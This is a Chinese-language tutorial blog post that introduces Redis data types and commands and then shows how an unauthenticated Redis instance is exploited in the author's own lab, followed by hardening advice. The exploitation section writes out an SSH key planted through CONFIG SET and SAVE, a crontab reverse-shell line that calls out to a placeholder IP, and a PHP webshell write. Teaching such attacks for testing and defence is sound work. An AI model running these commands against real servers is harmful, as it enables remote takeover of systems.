Redis 基础梳理以及其在渗透测试中的利用

0X00 前言:

之前一直说 NOSQL ,也看了不少文章对于未授权 NOSQL 的攻击案例,知道大致怎么用,但是自己一直没有尝试好好使用过,感觉对比 MYSQL 而言,我太轻视 NOSQL ,于是这次下定决心以 Redis 作为例子好好玩玩,特此记录备忘。

0X01 简介

我们知道 NOSQL 和 MYSQL 的差距还是非常大的,他不再是关系型数据库(也就是说他不在存在表这种东西),那他是什么呢?实际上它是以键值对的形式存放数据的,很像 json 的形式,并且与关系型数据库相比 Redis 能存储的数据类型也多得多,它不仅能存储字符串型的数据,还能存储其他四种类型:list,set,zset(有序),hash (就算是和同类 NOSQL 数据库 memcached 相比他也强大的多,因为 memcached 仅能支持比较单一的 key-value ),它支持数据在硬盘的持久化(EDB 快照或者是 AOF 的形式),还有一个特点就是他的所有操作都是原子性的,也就是说要么成功执行,要么就完全不执行。

0X02 小试牛刀

1.设置一个值并获取

127.0.0.1:6379> set mykey abc
OK
127.0.0.1:6379> get mykey 
"abc"

2.查看配置并修改选项

config get xxx (如果是 * 表示获取全部)
config set xxx yyy 

注意:下面的配置项在我们的写 shell 的过程中比较有用

(1)获取 RDB 文件的存放位置

config get dir

(2) 获取 RDB 文件的文件名(默认为dump.rdb)

config get dbfilename 

(3) 判断 AOF 是否开启

config get appendonly

(4)获取 AOF 的文件名(默认appendonly.aof)

config get appendfilename

(5)获取 AOF 文件的备份方式(always everysec no)

config get appendfsync

0X03 数据类型

1.String 类型

String 是最基本的类型,这个类型是二进制安全的,也就是说能存储任何类型的数据,比如说 jpg 图片或者序列化的对象,string 类型的值最大能存储 512MB。

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> get name
"K0rz3n"
127.0.0.1:6379>

2.Hash 类型

应用场景:

我们要存储一个用户信息对象数据,其中包括用户ID、用户姓名、年龄和生日,通过用户ID我们希望获取该用户的姓名或者年龄或者生日;

实现方式:

Redis的Hash实际是内部存储的Value为一个HashMap,并提供了直接存取这个Map成员的接口。如图所示,Key是用户ID, value是一个Map。这个Map的key是成员的属性名,value是属性值。这样对数据的修改和存取都可以直接通过其内部Map的Key(Redis里称内部Map的key为field), 也就是通过 key(用户ID) + field(属性标签) 就可以操作对应属性数据。

如图所示:

此处输入图片的描述

常用命令:

hget/hset/hgetall/hmset

示例代码:

127.0.0.1:6379> hmset 1 name K0rz3n age 20
OK
127.0.0.1:6379> hget 1 name
"K0rz3n"
127.0.0.1:6379> hget 1 age
"20"
127.0.0.1:6379>

3.List 类型

Redis 列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边),本质上是一个双向链表,列表最多可存储 2的32次方 - 1 个元素

应用场景:

Redis list的应用场景非常多,也是Redis最重要的数据结构之一,比如twitter的关注列表,粉丝列表等都可以用Redis的list结构来实现;

常用命令:

lpush/rpush/lpop/rpop/lrange

示例代码:

127.0.0.1:6379> lpush list K0rz3n
(integer) 1
127.0.0.1:6379> lpush list name
(integer) 2
127.0.0.1:6379> rpush list age
(integer) 3
127.0.0.1:6379> lrange list 0 10
1) "name"
2) "K0rz3n"
3) "age"
127.0.0.1:6379>

4.Set 类型

应用场景:

Redis set对外提供的功能与list类似是一个列表的功能,特殊之处在于set是可以自动排重的,当你需要存储一个列表数据,又不希望出现重复数据时,set是一个很好的选择,并且set提供了判断某个成员是否在一个set集合内的重要接口,这个也是list所不能提供的;

实现方式:

set 的内部实现是一个 value永远为null的HashMap,实际就是通过计算hash的方式来快速排重的,这也是set能提供判断一个成员是否在集合内的原因。

常用命令:

sadd/spop/smembers/sunion

示例代码:

127.0.0.1:6379> sadd set K0rz3n
(integer) 1
127.0.0.1:6379> sadd set name
(integer) 1
127.0.0.1:6379> sadd set age
(integer) 1
127.0.0.1:6379> sadd set name
(integer) 0
127.0.0.1:6379> smembers set
1) "age"
2) "K0rz3n"
3) "name"

5.ZSet(Sorted set )类型

应用场景:

Redis sorted set的使用场景与set类似,区别是set不是自动有序的,而sorted set可以通过用户额外提供一个优先级(score)的参数来为成员排序,并且是插入有序的,即自动排序。当你需要一个有序的并且不重复的集合列表,那么可以选择sorted set数据结构,比如twitter 的public timeline可以以发表时间作为score来存储,这样获取时就是自动按时间排好序的。

实现方式:

Redis sorted set的内部使用HashMap和跳跃表(SkipList)来保证数据的存储和有序,HashMap里放的是成员到score的映射,而跳跃表里存放的是所有的成员,排序依据是HashMap里存的score,使用跳跃表的结构可以获得比较高的查找效率,并且在实现上比较简单。

常用命令:

zadd/zrange/zrem/zcard

示例代码:

127.0.0.1:6379> zadd zset 0 K0rz3n
(integer) 1
127.0.0.1:6379> zadd zset 0 name
(integer) 1
127.0.0.1:6379> zadd zset 0 age
(integer) 1
127.0.0.1:6379> zadd zset 0 name
(integer) 0
127.0.0.1:6379> zrangebyscore zset 0 10
1) "K0rz3n"
2) "age"
3) "name"

0X04 Redis 常用命令

1.PING 命令

ping 命令查看是否连接 Redis 服务端成功

127.0.0.1:6379> ping
PONG

2.有关 key 的命令

1.del 删除键

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> del name
(integer) 1

命令执行成功后输出 (integer) 1,否则将输出 (integer) 0

2.dump 序列化键

dump 序列化给定的键,并返回序列化后的值

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> dump name
"\x00\x06K0rz3n\a\x00R\xb7\x87H^\xd5B\n"

3.exists 检查键是否存在

127.0.0.1:6379> exists name
(integer) 1

4.type 返回key 的存储类型

127.0.0.1:6379> type name
string

5.keys 查找所有符合给定模式的 Key

127.0.0.1:6379> keys n*
1) "naddfgfd"
2) "naaaa"
3) "name"

2.有关 String 的命令

1.getrange 截取字符串

127.0.0.1:6379> getrange name 0 2
"K0r"

2.strlen 返回 key 存储的字符串的长度

127.0.0.1:6379> strlen name
(integer) 6

3.append 追加字符串

127.0.0.1:6379> append name _is_not_a_hacker
(integer) 22
127.0.0.1:6379> get name
"K0rz3n_is_not_a_hacker"

4.mget 获取所有给定的 Key 的值

127.0.0.1:6379> mget name mykey
1) "K0rz3n_is_not_a_hacker"
2) "abc"

5.mset 设置一个或者多个 key-value

127.0.0.1:6379> mset name xiaoqiang age 20
OK
127.0.0.1:6379> mget name age
1) "xiaoqiang"
2) "20"

3.有关 Hash 的命令

1.hmset 设置一个或者多个 field-value

127.0.0.1:6379> hmset people name K0rz3n age 20 school xd
OK

2.hgetall 获取给定键值的 hash 表内容

127.0.0.1:6379> hgetall people
1) "name"
2) "K0rz3n"
3) "age"
4) "20"
5) "school"
6) "xd"

3.hexists 判断指定的 field 是否存在

127.0.0.1:6379> hexists people name
(integer) 1
127.0.0.1:6379> hexists people hh
(integer) 0

4.hget 获取指定 field 的值

127.0.0.1:6379> hget people name
"K0rz3n"

5.hlen 获取 hash 表中字段的数量

127.0.0.1:6379> hlen people
(integer) 3

6.hkeys 获取所有的键值

127.0.0.1:6379> hkeys people
1) "name"
2) "age"
3) "school"

7.hvals 获取所有的值

127.0.0.1:6379> hvals people
1) "K0rz3n"
2) "20"
3) "xd"

4.有关 List 的命令

1.llen 获取列表的长度

127.0.0.1:6379> llen list
(integer) 3

2.lindex 通过索引获取列表中的元素

127.0.0.1:6379> lindex list 1
"K0rz3n"
127.0.0.1:6379> lindex list 0
"name"
127.0.0.1:6379> lindex list 2
"age"

3.lrange 获取列表指定范围内的元素

127.0.0.1:6379> lrange list 0 2
1) "name"
2) "K0rz3n"
3) "age"

4.linster 在元素的前或后插入元素

在前方插入

127.0.0.1:6379> linsert list before name new_name
(integer) 4
127.0.0.1:6379> lrange list 0 3
1) "new_name"
2) "name"
3) "K0rz3n"
4) "age"

在后方插入

127.0.0.1:6379> linsert list after name old_name
(integer) 5
127.0.0.1:6379> lrange list 0 4
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

5.lpush 将一个或者多个值插入列表头部

127.0.0.1:6379> lpush list hh
(integer) 6
127.0.0.1:6379> lrange list 0 5
1) "hh"
2) "new_name"
3) "name"
4) "old_name"
5) "K0rz3n"
6) "age"

6.lpop 移除并获取列表第一个元素

127.0.0.1:6379> lpop list
"hh"
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

7.rpush 将一个或者多个值插入列表尾部

127.0.0.1:6379> rpush list hh
(integer) 6
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"
6) "hh"

8.rpop 移除并获取列表最后一个元素

127.0.0.1:6379> rpop list
"hh"
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

5.有关 Set 的命令

1.sadd 向集合中添加一个或者多个成员

127.0.0.1:6379> sadd set1 K0rz3n new old age
(integer) 4

2.scard 返回集合的成员数

127.0.0.1:6379> scard set1
(integer) 4

3.smembers 返回集合的所有成员

127.0.0.1:6379> smembers set1
1) "new"
2) "age"
3) "old"
4) "K0rz3n"

4.sismember 判断是否是集合的成员

127.0.0.1:6379> sismember set1 age
(integer) 1
127.0.0.1:6379> sismember set1 hh
(integer) 0

0X05 数据的备份与恢复

Redis SAVE 命令用于创建当前数据库的备份。

直接在命令行输入 save 就能在 config dir 指定的目录中创建一个 dump.rdb 文件

注意:

创建 redis 备份文件也可以使用命令 BGSAVE,该命令在后台执行。

0X06 Redis 在渗透测试中的利用

1.Redis 未授权访问:

1.漏洞描述:

在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分 Redis 绑定在 0.0.0.0:6379,并且没有开启密码认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

2.利用 Redis 获取敏感信息

(1)Info

如果 Redis 未授权访问成功(默认是空口令),我们就能直接使用 Info 命令获取 Redis 以及系统的信息

如题所示:

此处输入图片的描述

(2)keys * / get key

我们能获取所有的键以及对应的值(使用 keys * 和 get key 命令)

如图所示:

此处输入图片的描述

3.写公钥直接 ssh 连接

1.原理分析:

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

2.大致的流程图如下

如图所示:

此处输入图片的描述

2.测试开始:

我在我的 vps 上开放了一个 docker 配置 redis 为未授权访问状态,将 docker 的 22 端口映射为 Vps 的 20002 端口,docker 的 6379 端口映射为 60009 端口

1.首先在本地生成 ssh 公私钥

ssh-keygen -t rsa

如图所示:

此处输入图片的描述

2.将公钥导出为一个文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

这里的换行符是防止密钥数据和其他的 redis 缓存数据混合

如图所示:

此处输入图片的描述

3.访问 redis 的同时将某个键的值设置为文件的内容

cat /root/.ssh/key.txt | ./redis-cli -h xxx.xxx.xxx.xxx -p 60009 -x set xxx

如图所示:

此处输入图片的描述

4.改变 redis 的 RDB 目录以及文件为 /root/.ssh/authorized_keys

config set dir /root/.ssh

config set dbfilename authorized_keys

如图所示:

此处输入图片的描述

并且我们可以看到我们的 key.txt 已经存储在了 键为 hacker 的字符串 value 里面

5.将缓存数据(key.txt 和其他的一些 redis 本身的缓存)写入磁盘文件

save

6.成功无密码登录 docker

如图所示:

此处输入图片的描述

7.我们看一下写入的文件的内容

如图所示:

此处输入图片的描述

4.利用 crontable 反弹shell

这个利用和上面的利用是一样的方法只不过是换了一下写入文件的路径以及写进去的内容

1.端口监听

我先在我另一台 vps 上监听 9999 端口

nc -lvv 9999

如图所示:

此处输入图片的描述

2.设置某一个键的值为符合 crontable 格式的反弹 shell 一句话
set hacker "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1\n\n"

如图所示:

此处输入图片的描述

3.改变路径和文件名为 /var/spool/cron/root
config set dir /var/spool/cron
config set dbfilename root
save

如图所示:

此处输入图片的描述

4.等待

这里解释一下为什么要写成 root 因为/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。

5. 利用 Redis 写 webshell

1.概述

我一开始也说了, redis 和 memcached 的很大区别就在于他能将数据持久化存储(虽然两个的侧重点都在缓存而不是将数据存储在硬盘上,但是他就是支持),这个性质对我们来说是非常好的,我们可以利用这个写入磁盘的性质实现 写入我们的 shell

我之前提到了 RDBAOF 这两个机制就是我们写文件的基础,RDB 像一个数据库备份文件,而AOF是一个log日志文件。我们可以设置让 redis 在指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将“日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大。二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上。

2.测试

这个 webshell 的写入方法非常的类似于 MYSQL 利用 general log 写 shell 的方式,如果你还不了解 mysql 的写入 shell 的方式 可以参考我的这篇文章 :Mysql 在渗透测试中的利用

1.写入 webshell
127.0.0.1:6379> config set dir E:/phpstudy/PHPTutorial/WWW/
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set webshell "<?php phpinfo();?>"
OK

2.访问测试

如图所示:

此处输入图片的描述

0X07 如何防御

方法一:禁用高危命令(重启redis才能生效)

在 redis.conf 文件中直接将危险命令置空,或者改变其名字

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

或者

rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

方法二:以低权限运行 Redis 服务(重启redis才能生效)

我们知道进程的权限就是启动进程用户的权限,所以我们单独给 redis 开一个用户,这样不是 root 很多的操作都不能做了(方法类似于 apache 的降权运行防止 getshell 以后删除整站)

groupadd -r redis   
useradd -r -g redis redis

方法三:为 Redis 添加密码验证(重启redis才能生效)

我觉得这个方法是最最核心的,因为默认的密码是空,然后不改的话就是直接被打

修改 redis.conf 文件,添加

requirepass mypassword

方法四:禁止外网访问 Redis(重启redis才能生效)

这个措施配合设置密码,一般来讲就没有什么大的问题, 就怕这个设置了结果密码没设置,万一出了 SSRF 照打不误

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用(当然你设置成当前主机可用的话,安全性就更高了

bind 127.0.0.1

注意:

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

方法五:修改默认端口

这个方式就是不给攻击者试探的机会,反正就是增大了测试的难度

修改配置文件redis.conf文件

Port 6379

方法五:设置文件的隐藏属性

我们上面的利用中有一个利用的是修改 authorized_keys ,为了避免这种情况,我们需要控制这个文件无法被篡改,这就涉及到 Linux 中的文件的隐藏属性的知识点

两个比较重要的命令:

chattr:change file attributes

lsattr:list file attributes

两个比较重要的参数:

a 参数:

设置了a参数时,文件中将只能增加内容,不能删除数据,且不能打开文件进行任何编辑,哪怕是追加内容也不可以,所以像sed等需要打开文件的再写入数据的工具也无法操作成功。文件也不能被删除。只有root才能设置。

i 参数:

设置了i参数时,文件将被锁定,不能向其中增删改内容,也不能删除修改文件等各种动作。只有root才能设置。可以将其理解为设置了i后,文件将是永恒不变的了,谁都不能动它。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys
文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

chattr +i ~/.ssh

方法六:设置防火墙策略  

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务

0X07 总结

本文主要是简单的介绍了一下 redi 并与其他类型数据库做了一些对比,利用 redis 能持久化存储的特性并结合 redis 的未授漏洞,尝试了几种不同的攻击方式,纸上得来终觉浅,绝知此事要躬行啊。

0X08 参考

https://www.jb51.net/article/118777.htm
https://www.freebuf.com/column/158065.html
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

文章目录
  1. 1. 0X00 前言:
  2. 2. 0X01 简介
  3. 3. 0X02 小试牛刀
    1. 3.1. 1.设置一个值并获取
    2. 3.2. 2.查看配置并修改选项
  4. 4. 0X03 数据类型
    1. 4.1. 1.String 类型
    2. 4.2. 2.Hash 类型
    3. 4.3. 3.List 类型
    4. 4.4. 4.Set 类型
    5. 4.5. 5.ZSet(Sorted set )类型
  5. 5. 0X04 Redis 常用命令
    1. 5.1. 1.PING 命令
    2. 5.2. 2.有关 key 的命令
      1. 5.2.1. 1.del 删除键
      2. 5.2.2. 2.dump 序列化键
      3. 5.2.3. 3.exists 检查键是否存在
      4. 5.2.4. 4.type 返回key 的存储类型
      5. 5.2.5. 5.keys 查找所有符合给定模式的 Key
    3. 5.3. 2.有关 String 的命令
      1. 5.3.1. 1.getrange 截取字符串
      2. 5.3.2. 2.strlen 返回 key 存储的字符串的长度
      3. 5.3.3. 3.append 追加字符串
      4. 5.3.4. 4.mget 获取所有给定的 Key 的值
      5. 5.3.5. 5.mset 设置一个或者多个 key-value
    4. 5.4. 3.有关 Hash 的命令
      1. 5.4.1. 1.hmset 设置一个或者多个 field-value
      2. 5.4.2. 2.hgetall 获取给定键值的 hash 表内容
      3. 5.4.3. 3.hexists 判断指定的 field 是否存在
      4. 5.4.4. 4.hget 获取指定 field 的值
      5. 5.4.5. 5.hlen 获取 hash 表中字段的数量
      6. 5.4.6. 6.hkeys 获取所有的键值
      7. 5.4.7. 7.hvals 获取所有的值
    5. 5.5. 4.有关 List 的命令
      1. 5.5.1. 1.llen 获取列表的长度
      2. 5.5.2. 2.lindex 通过索引获取列表中的元素
      3. 5.5.3. 3.lrange 获取列表指定范围内的元素
      4. 5.5.4. 4.linster 在元素的前或后插入元素
      5. 5.5.5. 5.lpush 将一个或者多个值插入列表头部
      6. 5.5.6. 6.lpop 移除并获取列表第一个元素
      7. 5.5.7. 7.rpush 将一个或者多个值插入列表尾部
      8. 5.5.8. 8.rpop 移除并获取列表最后一个元素
    6. 5.6. 5.有关 Set 的命令
      1. 5.6.1. 1.sadd 向集合中添加一个或者多个成员
      2. 5.6.2. 2.scard 返回集合的成员数
      3. 5.6.3. 3.smembers 返回集合的所有成员
      4. 5.6.4. 4.sismember 判断是否是集合的成员
  6. 6. 0X05 数据的备份与恢复
  7. 7. 0X06 Redis 在渗透测试中的利用
    1. 7.1. 1.Redis 未授权访问:
      1. 7.1.1. 1.漏洞描述:
      2. 7.1.2. 2.利用 Redis 获取敏感信息
        1. 7.1.2.1. (1)Info
        2. 7.1.2.2. (2)keys * / get key
      3. 7.1.3. 3.写公钥直接 ssh 连接
        1. 7.1.3.1. 1.原理分析:
        2. 7.1.3.2. 2.大致的流程图如下
        3. 7.1.3.3. 2.测试开始:
      4. 7.1.4. 4.利用 crontable 反弹shell
        1. 7.1.4.1. 1.端口监听
        2. 7.1.4.2. 2.设置某一个键的值为符合 crontable 格式的反弹 shell 一句话
        3. 7.1.4.3. 3.改变路径和文件名为 /var/spool/cron/root
        4. 7.1.4.4. 4.等待
      5. 7.1.5. 5. 利用 Redis 写 webshell
        1. 7.1.5.1. 1.概述
        2. 7.1.5.2. 2.测试
        3. 7.1.5.3. 1.写入 webshell
      6. 7.1.6. 2.访问测试
  8. 8. 0X07 如何防御
    1. 8.1. 方法一:禁用高危命令(重启redis才能生效)
    2. 8.2. 方法二:以低权限运行 Redis 服务(重启redis才能生效)
    3. 8.3. 方法三:为 Redis 添加密码验证(重启redis才能生效)
    4. 8.4. 方法四:禁止外网访问 Redis(重启redis才能生效)
    5. 8.5. 方法五:修改默认端口
    6. 8.6. 方法五:设置文件的隐藏属性
      1. 8.6.1. 两个比较重要的命令:
      2. 8.6.2. 两个比较重要的参数:
        1. 8.6.2.1. a 参数:
        2. 8.6.2.2. i 参数:
    7. 8.7. 方法六:设置防火墙策略  
  9. 9. 0X07 总结
  10. 10. 0X08 参考
|